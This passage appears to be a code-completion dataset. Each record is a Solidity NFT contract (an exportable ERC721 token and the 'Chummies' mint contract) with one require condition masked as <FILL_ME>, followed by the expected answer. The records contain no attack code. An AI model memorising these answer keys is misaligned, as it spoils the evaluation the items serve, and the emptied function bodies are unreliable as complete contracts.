function _import(uint256 preferredTokenId, address owner) private returns(uint256 tokenId) {
}
function countStatedTokens(State state) public view virtual override returns(uint256){
}
function statedTokens(State state) external view virtual override returns(uint256[] memory){
}
function mint(address to) public virtual override(ERC721PresetMinterPauserAutoId, IExportableERC721){
}
function _burn(uint256 tokenId) internal virtual override(ERC721, ERC721URIStorage) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721PresetMinterPauserAutoId) {
}
function _baseURI() internal view virtual override(ERC721, ERC721PresetMinterPauserAutoId) returns (string memory) {
}
function setTokenURI(uint256 tokenId, string memory uri) external virtual override{
}
function tokenURI(uint256 tokenId) public view virtual override(IERC721Metadata, ERC721, ERC721URIStorage) returns (string memory) {
}
function pause() public virtual override(IExportableERC721, ERC721PresetMinterPauserAutoId){
}
function unpause() public virtual override(IExportableERC721, ERC721PresetMinterPauserAutoId){
}
function contractURI() external view virtual override returns(string memory){
}
/**
* @notice Change the loccation of a file or resource containing contract level metadata
* Only an account with `MINTER` role can execute this function
*
* @param uri the location of file or resource containing contract level metadata
*/
function setContractURI(string memory uri) external virtual override{
}
/**
* @notice Ownership can not be renounced for this type of contract
*/
function renounceOwnership() public virtual override onlyOwner{
}
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165Storage, ERC721, ERC721PresetMinterPauserAutoId) returns (bool){
}
}
| isExportable(),ExportableERC721Messages.getErrorMessage(4302) | 510,452 | isExportable() |
ExportableERC721Messages.getErrorMessage(4402) | pragma solidity ^0.8.0;
library ExportableERC721Messages {
function getErrorMessage(uint256 code) internal pure returns(string memory message){
}
}
/**
* @title Exportable Non-Fungible Token Contract
* @notice Default implementation of exportable Non-Fungible token contract
* @author Sangmoon Oh
*/
contract ExportableERC721 is IContractMeta, IExportableERC721, Ownable, ERC165Storage, ERC721URIStorage, ERC721PresetMinterPauserAutoId {
using EnumerableSet for EnumerableSet.UintSet;
using Math for uint256;
string private _contractUri;
bool private _exportable = false;
bool private _importable = false;
uint256 private maxId;
mapping(State => EnumerableSet.UintSet) private _statedTokens;
struct Exporting{
address prevOwner;
uint256 timestamp; // unix epoch
}
mapping(uint256 => Exporting) private _exportings;
constructor(string memory name, string memory symbol, bool exportable, bool importable) ERC721PresetMinterPauserAutoId(name, symbol, "") Ownable(){
}
function enableExport(bool enabled) external virtual override{
}
function isExportable() public view virtual override returns(bool) {
}
function enableImport(bool enabled) external virtual override {
}
function isImportable() public view virtual override returns(bool) {
}
/**
* @dev Set a token into the specified state exclusively
*/
function _toggleTokenState(uint256 tokenId, State state) internal {
}
function exporting(uint256 tokenId, address escrowee) external override{
}
/**
* @param escrowee the address to whom the token is temporarily owned while exporting (before exported.)
*/
function _setExporting(uint256 tokenId, address escrowee) internal virtual {
require(_exists(tokenId), ExportableERC721Messages.getErrorMessage(4401));
require(isExportable(), ExportableERC721Messages.getErrorMessage(4302));
require(<FILL_ME>) // maybe redundant
address owner = ownerOf(tokenId);
_transfer(owner, escrowee, tokenId);
_toggleTokenState(tokenId, State.Exporting);
_exportings[tokenId] = Exporting(owner, block.timestamp);
}
function getExporting(uint256 tokenId) external view virtual override returns (address, uint256) {
}
function unexporting(uint256 tokenId) external virtual override{
}
function _isExporting(uint256 tokenId) internal view returns(bool) {
}
function exported(uint256 tokenId) external override{
}
function _setExported(uint256 tokenId) internal virtual {
}
function imported(uint256 preferredTokenId, address owner) external override returns(uint256 tokenId) {
}
function _import(uint256 preferredTokenId, address owner) private returns(uint256 tokenId) {
}
function countStatedTokens(State state) public view virtual override returns(uint256){
}
function statedTokens(State state) external view virtual override returns(uint256[] memory){
}
function mint(address to) public virtual override(ERC721PresetMinterPauserAutoId, IExportableERC721){
}
function _burn(uint256 tokenId) internal virtual override(ERC721, ERC721URIStorage) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721PresetMinterPauserAutoId) {
}
function _baseURI() internal view virtual override(ERC721, ERC721PresetMinterPauserAutoId) returns (string memory) {
}
function setTokenURI(uint256 tokenId, string memory uri) external virtual override{
}
function tokenURI(uint256 tokenId) public view virtual override(IERC721Metadata, ERC721, ERC721URIStorage) returns (string memory) {
}
function pause() public virtual override(IExportableERC721, ERC721PresetMinterPauserAutoId){
}
function unpause() public virtual override(IExportableERC721, ERC721PresetMinterPauserAutoId){
}
function contractURI() external view virtual override returns(string memory){
}
/**
* @notice Change the loccation of a file or resource containing contract level metadata
* Only an account with `MINTER` role can execute this function
*
* @param uri the location of file or resource containing contract level metadata
*/
function setContractURI(string memory uri) external virtual override{
}
/**
* @notice Ownership can not be renounced for this type of contract
*/
function renounceOwnership() public virtual override onlyOwner{
}
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165Storage, ERC721, ERC721PresetMinterPauserAutoId) returns (bool){
}
}
| !_isExporting(tokenId),ExportableERC721Messages.getErrorMessage(4402) | 510,452 | !_isExporting(tokenId) |
ExportableERC721Messages.getErrorMessage(4404) | pragma solidity ^0.8.0;
library ExportableERC721Messages {
function getErrorMessage(uint256 code) internal pure returns(string memory message){
}
}
/**
* @title Exportable Non-Fungible Token Contract
* @notice Default implementation of exportable Non-Fungible token contract
* @author Sangmoon Oh
*/
contract ExportableERC721 is IContractMeta, IExportableERC721, Ownable, ERC165Storage, ERC721URIStorage, ERC721PresetMinterPauserAutoId {
using EnumerableSet for EnumerableSet.UintSet;
using Math for uint256;
string private _contractUri;
bool private _exportable = false;
bool private _importable = false;
uint256 private maxId;
mapping(State => EnumerableSet.UintSet) private _statedTokens;
struct Exporting{
address prevOwner;
uint256 timestamp; // unix epoch
}
mapping(uint256 => Exporting) private _exportings;
constructor(string memory name, string memory symbol, bool exportable, bool importable) ERC721PresetMinterPauserAutoId(name, symbol, "") Ownable(){
}
function enableExport(bool enabled) external virtual override{
}
function isExportable() public view virtual override returns(bool) {
}
function enableImport(bool enabled) external virtual override {
}
function isImportable() public view virtual override returns(bool) {
}
/**
* @dev Set a token into the specified state exclusively
*/
function _toggleTokenState(uint256 tokenId, State state) internal {
}
function exporting(uint256 tokenId, address escrowee) external override{
}
/**
* @param escrowee the address to whom the token is temporarily owned while exporting (before exported.)
*/
function _setExporting(uint256 tokenId, address escrowee) internal virtual {
}
function getExporting(uint256 tokenId) external view virtual override returns (address, uint256) {
}
function unexporting(uint256 tokenId) external virtual override{
require(hasRole(MINTER_ROLE, _msgSender()), ExportableERC721Messages.getErrorMessage(4112));
require(<FILL_ME>)
_transfer(ownerOf(tokenId), _exportings[tokenId].prevOwner, tokenId);
_statedTokens[State.Exporting].remove(tokenId);
delete _exportings[tokenId];
}
function _isExporting(uint256 tokenId) internal view returns(bool) {
}
function exported(uint256 tokenId) external override{
}
function _setExported(uint256 tokenId) internal virtual {
}
function imported(uint256 preferredTokenId, address owner) external override returns(uint256 tokenId) {
}
function _import(uint256 preferredTokenId, address owner) private returns(uint256 tokenId) {
}
function countStatedTokens(State state) public view virtual override returns(uint256){
}
function statedTokens(State state) external view virtual override returns(uint256[] memory){
}
function mint(address to) public virtual override(ERC721PresetMinterPauserAutoId, IExportableERC721){
}
function _burn(uint256 tokenId) internal virtual override(ERC721, ERC721URIStorage) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721PresetMinterPauserAutoId) {
}
function _baseURI() internal view virtual override(ERC721, ERC721PresetMinterPauserAutoId) returns (string memory) {
}
function setTokenURI(uint256 tokenId, string memory uri) external virtual override{
}
function tokenURI(uint256 tokenId) public view virtual override(IERC721Metadata, ERC721, ERC721URIStorage) returns (string memory) {
}
function pause() public virtual override(IExportableERC721, ERC721PresetMinterPauserAutoId){
}
function unpause() public virtual override(IExportableERC721, ERC721PresetMinterPauserAutoId){
}
function contractURI() external view virtual override returns(string memory){
}
/**
* @notice Change the loccation of a file or resource containing contract level metadata
* Only an account with `MINTER` role can execute this function
*
* @param uri the location of file or resource containing contract level metadata
*/
function setContractURI(string memory uri) external virtual override{
}
/**
* @notice Ownership can not be renounced for this type of contract
*/
function renounceOwnership() public virtual override onlyOwner{
}
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165Storage, ERC721, ERC721PresetMinterPauserAutoId) returns (bool){
}
}
| _isExporting(tokenId),ExportableERC721Messages.getErrorMessage(4404) | 510,452 | _isExporting(tokenId) |
ExportableERC721Messages.getErrorMessage(4303) | pragma solidity ^0.8.0;
library ExportableERC721Messages {
function getErrorMessage(uint256 code) internal pure returns(string memory message){
}
}
/**
* @title Exportable Non-Fungible Token Contract
* @notice Default implementation of exportable Non-Fungible token contract
* @author Sangmoon Oh
*/
contract ExportableERC721 is IContractMeta, IExportableERC721, Ownable, ERC165Storage, ERC721URIStorage, ERC721PresetMinterPauserAutoId {
using EnumerableSet for EnumerableSet.UintSet;
using Math for uint256;
string private _contractUri;
bool private _exportable = false;
bool private _importable = false;
uint256 private maxId;
mapping(State => EnumerableSet.UintSet) private _statedTokens;
struct Exporting{
address prevOwner;
uint256 timestamp; // unix epoch
}
mapping(uint256 => Exporting) private _exportings;
constructor(string memory name, string memory symbol, bool exportable, bool importable) ERC721PresetMinterPauserAutoId(name, symbol, "") Ownable(){
}
function enableExport(bool enabled) external virtual override{
}
function isExportable() public view virtual override returns(bool) {
}
function enableImport(bool enabled) external virtual override {
}
function isImportable() public view virtual override returns(bool) {
}
/**
* @dev Set a token into the specified state exclusively
*/
function _toggleTokenState(uint256 tokenId, State state) internal {
}
function exporting(uint256 tokenId, address escrowee) external override{
}
/**
* @param escrowee the address to whom the token is temporarily owned while exporting (before exported.)
*/
function _setExporting(uint256 tokenId, address escrowee) internal virtual {
}
function getExporting(uint256 tokenId) external view virtual override returns (address, uint256) {
}
function unexporting(uint256 tokenId) external virtual override{
}
function _isExporting(uint256 tokenId) internal view returns(bool) {
}
function exported(uint256 tokenId) external override{
}
function _setExported(uint256 tokenId) internal virtual {
}
function imported(uint256 preferredTokenId, address owner) external override returns(uint256 tokenId) {
}
function _import(uint256 preferredTokenId, address owner) private returns(uint256 tokenId) {
require(owner != address(0), ExportableERC721Messages.getErrorMessage(4201));
require(<FILL_ME>)
tokenId = preferredTokenId;
if(!_exists(preferredTokenId)){
_mint(owner, tokenId);
maxId = maxId.max(preferredTokenId);
}else{
tokenId = maxId + 1;
mint(owner);
}
_toggleTokenState(tokenId, State.Imported);
return tokenId;
}
function countStatedTokens(State state) public view virtual override returns(uint256){
}
function statedTokens(State state) external view virtual override returns(uint256[] memory){
}
function mint(address to) public virtual override(ERC721PresetMinterPauserAutoId, IExportableERC721){
}
function _burn(uint256 tokenId) internal virtual override(ERC721, ERC721URIStorage) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721PresetMinterPauserAutoId) {
}
function _baseURI() internal view virtual override(ERC721, ERC721PresetMinterPauserAutoId) returns (string memory) {
}
function setTokenURI(uint256 tokenId, string memory uri) external virtual override{
}
function tokenURI(uint256 tokenId) public view virtual override(IERC721Metadata, ERC721, ERC721URIStorage) returns (string memory) {
}
function pause() public virtual override(IExportableERC721, ERC721PresetMinterPauserAutoId){
}
function unpause() public virtual override(IExportableERC721, ERC721PresetMinterPauserAutoId){
}
function contractURI() external view virtual override returns(string memory){
}
/**
* @notice Change the loccation of a file or resource containing contract level metadata
* Only an account with `MINTER` role can execute this function
*
* @param uri the location of file or resource containing contract level metadata
*/
function setContractURI(string memory uri) external virtual override{
}
/**
* @notice Ownership can not be renounced for this type of contract
*/
function renounceOwnership() public virtual override onlyOwner{
}
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165Storage, ERC721, ERC721PresetMinterPauserAutoId) returns (bool){
}
}
| isImportable(),ExportableERC721Messages.getErrorMessage(4303) | 510,452 | isImportable() |
ExportableERC721Messages.getErrorMessage(4122) | pragma solidity ^0.8.0;
library ExportableERC721Messages {
function getErrorMessage(uint256 code) internal pure returns(string memory message){
}
}
/**
* @title Exportable Non-Fungible Token Contract
* @notice Default implementation of exportable Non-Fungible token contract
* @author Sangmoon Oh
*/
contract ExportableERC721 is IContractMeta, IExportableERC721, Ownable, ERC165Storage, ERC721URIStorage, ERC721PresetMinterPauserAutoId {
using EnumerableSet for EnumerableSet.UintSet;
using Math for uint256;
string private _contractUri;
bool private _exportable = false;
bool private _importable = false;
uint256 private maxId;
mapping(State => EnumerableSet.UintSet) private _statedTokens;
struct Exporting{
address prevOwner;
uint256 timestamp; // unix epoch
}
mapping(uint256 => Exporting) private _exportings;
constructor(string memory name, string memory symbol, bool exportable, bool importable) ERC721PresetMinterPauserAutoId(name, symbol, "") Ownable(){
}
function enableExport(bool enabled) external virtual override{
}
function isExportable() public view virtual override returns(bool) {
}
function enableImport(bool enabled) external virtual override {
}
function isImportable() public view virtual override returns(bool) {
}
/**
* @dev Set a token into the specified state exclusively
*/
function _toggleTokenState(uint256 tokenId, State state) internal {
}
function exporting(uint256 tokenId, address escrowee) external override{
}
/**
* @param escrowee the address to whom the token is temporarily owned while exporting (before exported.)
*/
function _setExporting(uint256 tokenId, address escrowee) internal virtual {
}
function getExporting(uint256 tokenId) external view virtual override returns (address, uint256) {
}
function unexporting(uint256 tokenId) external virtual override{
}
function _isExporting(uint256 tokenId) internal view returns(bool) {
}
function exported(uint256 tokenId) external override{
}
function _setExported(uint256 tokenId) internal virtual {
}
function imported(uint256 preferredTokenId, address owner) external override returns(uint256 tokenId) {
}
function _import(uint256 preferredTokenId, address owner) private returns(uint256 tokenId) {
}
function countStatedTokens(State state) public view virtual override returns(uint256){
}
function statedTokens(State state) external view virtual override returns(uint256[] memory){
}
function mint(address to) public virtual override(ERC721PresetMinterPauserAutoId, IExportableERC721){
}
function _burn(uint256 tokenId) internal virtual override(ERC721, ERC721URIStorage) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721PresetMinterPauserAutoId) {
}
function _baseURI() internal view virtual override(ERC721, ERC721PresetMinterPauserAutoId) returns (string memory) {
}
function setTokenURI(uint256 tokenId, string memory uri) external virtual override{
if(bytes(tokenURI(tokenId)).length == 0){
require(<FILL_ME>)
} else {
require(hasRole(MINTER_ROLE, _msgSender()), ExportableERC721Messages.getErrorMessage(4112));
}
_setTokenURI(tokenId, uri);
}
function tokenURI(uint256 tokenId) public view virtual override(IERC721Metadata, ERC721, ERC721URIStorage) returns (string memory) {
}
function pause() public virtual override(IExportableERC721, ERC721PresetMinterPauserAutoId){
}
function unpause() public virtual override(IExportableERC721, ERC721PresetMinterPauserAutoId){
}
function contractURI() external view virtual override returns(string memory){
}
/**
* @notice Change the loccation of a file or resource containing contract level metadata
* Only an account with `MINTER` role can execute this function
*
* @param uri the location of file or resource containing contract level metadata
*/
function setContractURI(string memory uri) external virtual override{
}
/**
* @notice Ownership can not be renounced for this type of contract
*/
function renounceOwnership() public virtual override onlyOwner{
}
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165Storage, ERC721, ERC721PresetMinterPauserAutoId) returns (bool){
}
}
| ownerOf(tokenId)==_msgSender()||hasRole(MINTER_ROLE,_msgSender()),ExportableERC721Messages.getErrorMessage(4122) | 510,452 | ownerOf(tokenId)==_msgSender()||hasRole(MINTER_ROLE,_msgSender()) |
"Reserve already claimed" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./ERC721A.sol";
import "./OwnableWithAdmin.sol";
import "./Strings.sol";
import "./IHappyKoalas.sol";
contract Chummies is ERC721A, OwnableWithAdmin {
using Strings for uint256;
uint256 public constant TOTAL_MAX = 4444;
uint256 public maxPerPublicWallet = 10;
uint256 public freeMaxTotal = 1200;
uint256 public publicPrice = 0.007 ether;
uint256 freeClaimCount;
mapping(address => uint256) public addressClaimAmount;
IHappyKoalas public happyKoalas; // Happy Koalas (AKA Koalaverse: Genesis) holders are guaranteed free mints
bool[369] public reserveClaimed; // save gas for claimers
string public baseURI;
string public baseExtension;
bool public saleIsActive;
bool public reserveFunctionRun;
event SaleStateChanged(bool isActive);
constructor(address _happyKoalas) ERC721A("Koalaverse: Chummies", "CHUMMIES") {
}
/* Founder Mint */
function ownerMint(address _addr, uint256 _qty) external onlyOwner {
}
/* Reserve Claim */
function reserveClaim() external onlyOwner {
require(<FILL_ME>)
for(uint i; i < 41; i++) {
_mint(address(this), 9);
}
reserveFunctionRun = true;
}
/*
* Mint function
* @notice if you have not claimed a free, subtract .007 ether
*/
function mintWithOneFree(uint256 _quantity) external payable whenSaleIsActive {
}
function mintWithoutFree(uint256 _quantity) external payable whenSaleIsActive {
}
function claimReserves(uint256[] calldata _tokenIds) external {
}
modifier whenSaleIsActive() {
}
function setSaleIsActive(bool _intended) external onlyOwner {
}
/**
* @notice set base URI
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/**
* @notice set base extension
*/
function setBaseExtension(string calldata _baseExtension) external onlyOwner {
}
/**
* @notice set public sale price in wei
*/
function setPrice(uint256 _newPrice) external onlyOwner {
}
/**
* @notice set free claim total
*/
function setFreeMaxTotal(uint256 _newFreeMaxTotal) external onlyOwner {
}
// GETTERS
function getFreeAmountLeft() external view returns (uint256) {
}
function getAmountClaimedPublic(address _user) external view returns (uint256) {
}
/**
* @notice token URI
*/
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
address public founderAddr = 0xc03f5D2725f1bB7bD599B9FFbA5a16f4A41b459B;
address public superdevAddr = 0x4E9f7618F72F3d497f4e252eBB6a731d715e7af5; //B5
address public frontendDev = 0xB4057C08C729ed8810de0C2a15e74390dD78b09C; //BM
address public adminAddr = 0x07c47A72c65ce8A37622Ea8B15765dAD60163120;
address public communityLead = 0x28f0aa00b1659f6a88b0cd8C19230f13bfD932d2;
address public tAddr = 0x32E7709eC2b3346cdf13E07060D4e2DFfd898685;
function withdraw() external {
}
function sendEth(address to, uint256 amount) internal {
}
}
| !reserveFunctionRun,"Reserve already claimed" | 510,702 | !reserveFunctionRun |
"Soldout" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./ERC721A.sol";
import "./OwnableWithAdmin.sol";
import "./Strings.sol";
import "./IHappyKoalas.sol";
contract Chummies is ERC721A, OwnableWithAdmin {
using Strings for uint256;
uint256 public constant TOTAL_MAX = 4444;
uint256 public maxPerPublicWallet = 10;
uint256 public freeMaxTotal = 1200;
uint256 public publicPrice = 0.007 ether;
uint256 freeClaimCount;
mapping(address => uint256) public addressClaimAmount;
IHappyKoalas public happyKoalas; // Happy Koalas (AKA Koalaverse: Genesis) holders are guaranteed free mints
bool[369] public reserveClaimed; // save gas for claimers
string public baseURI;
string public baseExtension;
bool public saleIsActive;
bool public reserveFunctionRun;
event SaleStateChanged(bool isActive);
constructor(address _happyKoalas) ERC721A("Koalaverse: Chummies", "CHUMMIES") {
}
/* Founder Mint */
function ownerMint(address _addr, uint256 _qty) external onlyOwner {
}
/* Reserve Claim */
function reserveClaim() external onlyOwner {
}
/*
* Mint function
* @notice if you have not claimed a free, subtract .007 ether
*/
function mintWithOneFree(uint256 _quantity) external payable whenSaleIsActive {
require(<FILL_ME>)
require(freeClaimCount < freeMaxTotal, "Sorry, no more freebies available, sorry");
require(_quantity > 0, "_quantity must be above 0");
uint256 _addressClaimAmount = addressClaimAmount[msg.sender];
require(_addressClaimAmount + _quantity <= maxPerPublicWallet, "You are trying to claim more than your allotment");
uint256 _paidAmount = _quantity;
if(_addressClaimAmount == 0) { // one is free per wallet
_paidAmount -= 1;
freeClaimCount++;
}
require(msg.value == publicPrice * _paidAmount, "Incorrect amount of ETH");
addressClaimAmount[msg.sender] += _quantity;
_mint(msg.sender, _quantity);
}
function mintWithoutFree(uint256 _quantity) external payable whenSaleIsActive {
}
function claimReserves(uint256[] calldata _tokenIds) external {
}
modifier whenSaleIsActive() {
}
function setSaleIsActive(bool _intended) external onlyOwner {
}
/**
* @notice set base URI
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/**
* @notice set base extension
*/
function setBaseExtension(string calldata _baseExtension) external onlyOwner {
}
/**
* @notice set public sale price in wei
*/
function setPrice(uint256 _newPrice) external onlyOwner {
}
/**
* @notice set free claim total
*/
function setFreeMaxTotal(uint256 _newFreeMaxTotal) external onlyOwner {
}
// GETTERS
function getFreeAmountLeft() external view returns (uint256) {
}
function getAmountClaimedPublic(address _user) external view returns (uint256) {
}
/**
* @notice token URI
*/
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
address public founderAddr = 0xc03f5D2725f1bB7bD599B9FFbA5a16f4A41b459B;
address public superdevAddr = 0x4E9f7618F72F3d497f4e252eBB6a731d715e7af5; //B5
address public frontendDev = 0xB4057C08C729ed8810de0C2a15e74390dD78b09C; //BM
address public adminAddr = 0x07c47A72c65ce8A37622Ea8B15765dAD60163120;
address public communityLead = 0x28f0aa00b1659f6a88b0cd8C19230f13bfD932d2;
address public tAddr = 0x32E7709eC2b3346cdf13E07060D4e2DFfd898685;
function withdraw() external {
}
function sendEth(address to, uint256 amount) internal {
}
}
| totalSupply()<TOTAL_MAX,"Soldout" | 510,702 | totalSupply()<TOTAL_MAX |
"You are trying to claim more than your allotment" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./ERC721A.sol";
import "./OwnableWithAdmin.sol";
import "./Strings.sol";
import "./IHappyKoalas.sol";
contract Chummies is ERC721A, OwnableWithAdmin {
using Strings for uint256;
uint256 public constant TOTAL_MAX = 4444;
uint256 public maxPerPublicWallet = 10;
uint256 public freeMaxTotal = 1200;
uint256 public publicPrice = 0.007 ether;
uint256 freeClaimCount;
mapping(address => uint256) public addressClaimAmount;
IHappyKoalas public happyKoalas; // Happy Koalas (AKA Koalaverse: Genesis) holders are guaranteed free mints
bool[369] public reserveClaimed; // save gas for claimers
string public baseURI;
string public baseExtension;
bool public saleIsActive;
bool public reserveFunctionRun;
event SaleStateChanged(bool isActive);
constructor(address _happyKoalas) ERC721A("Koalaverse: Chummies", "CHUMMIES") {
}
/* Founder Mint */
function ownerMint(address _addr, uint256 _qty) external onlyOwner {
}
/* Reserve Claim */
function reserveClaim() external onlyOwner {
}
/*
* Mint function
* @notice if you have not claimed a free, subtract .007 ether
*/
function mintWithOneFree(uint256 _quantity) external payable whenSaleIsActive {
require(totalSupply() < TOTAL_MAX, "Soldout");
require(freeClaimCount < freeMaxTotal, "Sorry, no more freebies available, sorry");
require(_quantity > 0, "_quantity must be above 0");
uint256 _addressClaimAmount = addressClaimAmount[msg.sender];
require(<FILL_ME>)
uint256 _paidAmount = _quantity;
if(_addressClaimAmount == 0) { // one is free per wallet
_paidAmount -= 1;
freeClaimCount++;
}
require(msg.value == publicPrice * _paidAmount, "Incorrect amount of ETH");
addressClaimAmount[msg.sender] += _quantity;
_mint(msg.sender, _quantity);
}
function mintWithoutFree(uint256 _quantity) external payable whenSaleIsActive {
}
function claimReserves(uint256[] calldata _tokenIds) external {
}
modifier whenSaleIsActive() {
}
function setSaleIsActive(bool _intended) external onlyOwner {
}
/**
* @notice set base URI
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/**
* @notice set base extension
*/
function setBaseExtension(string calldata _baseExtension) external onlyOwner {
}
/**
* @notice set public sale price in wei
*/
function setPrice(uint256 _newPrice) external onlyOwner {
}
/**
* @notice set free claim total
*/
function setFreeMaxTotal(uint256 _newFreeMaxTotal) external onlyOwner {
}
// GETTERS
function getFreeAmountLeft() external view returns (uint256) {
}
function getAmountClaimedPublic(address _user) external view returns (uint256) {
}
/**
* @notice token URI
*/
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
address public founderAddr = 0xc03f5D2725f1bB7bD599B9FFbA5a16f4A41b459B;
address public superdevAddr = 0x4E9f7618F72F3d497f4e252eBB6a731d715e7af5; //B5
address public frontendDev = 0xB4057C08C729ed8810de0C2a15e74390dD78b09C; //BM
address public adminAddr = 0x07c47A72c65ce8A37622Ea8B15765dAD60163120;
address public communityLead = 0x28f0aa00b1659f6a88b0cd8C19230f13bfD932d2;
address public tAddr = 0x32E7709eC2b3346cdf13E07060D4e2DFfd898685;
function withdraw() external {
}
function sendEth(address to, uint256 amount) internal {
}
}
| _addressClaimAmount+_quantity<=maxPerPublicWallet,"You are trying to claim more than your allotment" | 510,702 | _addressClaimAmount+_quantity<=maxPerPublicWallet |
"Soldout" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./ERC721A.sol";
import "./OwnableWithAdmin.sol";
import "./Strings.sol";
import "./IHappyKoalas.sol";
contract Chummies is ERC721A, OwnableWithAdmin {
using Strings for uint256;
uint256 public constant TOTAL_MAX = 4444;
uint256 public maxPerPublicWallet = 10;
uint256 public freeMaxTotal = 1200;
uint256 public publicPrice = 0.007 ether;
uint256 freeClaimCount;
mapping(address => uint256) public addressClaimAmount;
IHappyKoalas public happyKoalas; // Happy Koalas (AKA Koalaverse: Genesis) holders are guaranteed free mints
bool[369] public reserveClaimed; // save gas for claimers
string public baseURI;
string public baseExtension;
bool public saleIsActive;
bool public reserveFunctionRun;
event SaleStateChanged(bool isActive);
constructor(address _happyKoalas) ERC721A("Koalaverse: Chummies", "CHUMMIES") {
}
/* Founder Mint */
function ownerMint(address _addr, uint256 _qty) external onlyOwner {
}
/* Reserve Claim */
function reserveClaim() external onlyOwner {
}
/*
* Mint function
* @notice if you have not claimed a free, subtract .007 ether
*/
function mintWithOneFree(uint256 _quantity) external payable whenSaleIsActive {
}
function mintWithoutFree(uint256 _quantity) external payable whenSaleIsActive {
require(<FILL_ME>) // always first to save users gas if tx fails
require(_quantity > 0, "_quantity must be above 0");
require(msg.value == publicPrice * _quantity, "Incorrect amount of ETH");
require(addressClaimAmount[msg.sender] + _quantity <= maxPerPublicWallet, "You are trying to claim more than your allotment");
addressClaimAmount[msg.sender] += _quantity;
_mint(msg.sender, _quantity);
}
function claimReserves(uint256[] calldata _tokenIds) external {
}
modifier whenSaleIsActive() {
}
function setSaleIsActive(bool _intended) external onlyOwner {
}
/**
* @notice set base URI
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/**
* @notice set base extension
*/
function setBaseExtension(string calldata _baseExtension) external onlyOwner {
}
/**
* @notice set public sale price in wei
*/
function setPrice(uint256 _newPrice) external onlyOwner {
}
/**
* @notice set free claim total
*/
function setFreeMaxTotal(uint256 _newFreeMaxTotal) external onlyOwner {
}
// GETTERS
function getFreeAmountLeft() external view returns (uint256) {
}
function getAmountClaimedPublic(address _user) external view returns (uint256) {
}
/**
* @notice token URI
*/
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
address public founderAddr = 0xc03f5D2725f1bB7bD599B9FFbA5a16f4A41b459B;
address public superdevAddr = 0x4E9f7618F72F3d497f4e252eBB6a731d715e7af5; //B5
address public frontendDev = 0xB4057C08C729ed8810de0C2a15e74390dD78b09C; //BM
address public adminAddr = 0x07c47A72c65ce8A37622Ea8B15765dAD60163120;
address public communityLead = 0x28f0aa00b1659f6a88b0cd8C19230f13bfD932d2;
address public tAddr = 0x32E7709eC2b3346cdf13E07060D4e2DFfd898685;
function withdraw() external {
}
function sendEth(address to, uint256 amount) internal {
}
}
| totalSupply()+_quantity<=TOTAL_MAX,"Soldout" | 510,702 | totalSupply()+_quantity<=TOTAL_MAX |
"You are trying to claim more than your allotment" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./ERC721A.sol";
import "./OwnableWithAdmin.sol";
import "./Strings.sol";
import "./IHappyKoalas.sol";
contract Chummies is ERC721A, OwnableWithAdmin {
using Strings for uint256;
uint256 public constant TOTAL_MAX = 4444;
uint256 public maxPerPublicWallet = 10;
uint256 public freeMaxTotal = 1200;
uint256 public publicPrice = 0.007 ether;
uint256 freeClaimCount;
mapping(address => uint256) public addressClaimAmount;
IHappyKoalas public happyKoalas; // Happy Koalas (AKA Koalaverse: Genesis) holders are guaranteed free mints
bool[369] public reserveClaimed; // save gas for claimers
string public baseURI;
string public baseExtension;
bool public saleIsActive;
bool public reserveFunctionRun;
event SaleStateChanged(bool isActive);
constructor(address _happyKoalas) ERC721A("Koalaverse: Chummies", "CHUMMIES") {
}
/* Founder Mint */
function ownerMint(address _addr, uint256 _qty) external onlyOwner {
}
/* Reserve Claim */
function reserveClaim() external onlyOwner {
}
/*
* Mint function
* @notice if you have not claimed a free, subtract .007 ether
*/
function mintWithOneFree(uint256 _quantity) external payable whenSaleIsActive {
}
function mintWithoutFree(uint256 _quantity) external payable whenSaleIsActive {
require(totalSupply() + _quantity <= TOTAL_MAX, "Soldout"); // always first to save users gas if tx fails
require(_quantity > 0, "_quantity must be above 0");
require(msg.value == publicPrice * _quantity, "Incorrect amount of ETH");
require(<FILL_ME>)
addressClaimAmount[msg.sender] += _quantity;
_mint(msg.sender, _quantity);
}
function claimReserves(uint256[] calldata _tokenIds) external {
}
modifier whenSaleIsActive() {
}
function setSaleIsActive(bool _intended) external onlyOwner {
}
/**
* @notice set base URI
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/**
* @notice set base extension
*/
function setBaseExtension(string calldata _baseExtension) external onlyOwner {
}
/**
* @notice set public sale price in wei
*/
function setPrice(uint256 _newPrice) external onlyOwner {
}
/**
* @notice set free claim total
*/
function setFreeMaxTotal(uint256 _newFreeMaxTotal) external onlyOwner {
}
// GETTERS
function getFreeAmountLeft() external view returns (uint256) {
}
function getAmountClaimedPublic(address _user) external view returns (uint256) {
}
/**
* @notice token URI
*/
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
address public founderAddr = 0xc03f5D2725f1bB7bD599B9FFbA5a16f4A41b459B;
address public superdevAddr = 0x4E9f7618F72F3d497f4e252eBB6a731d715e7af5; //B5
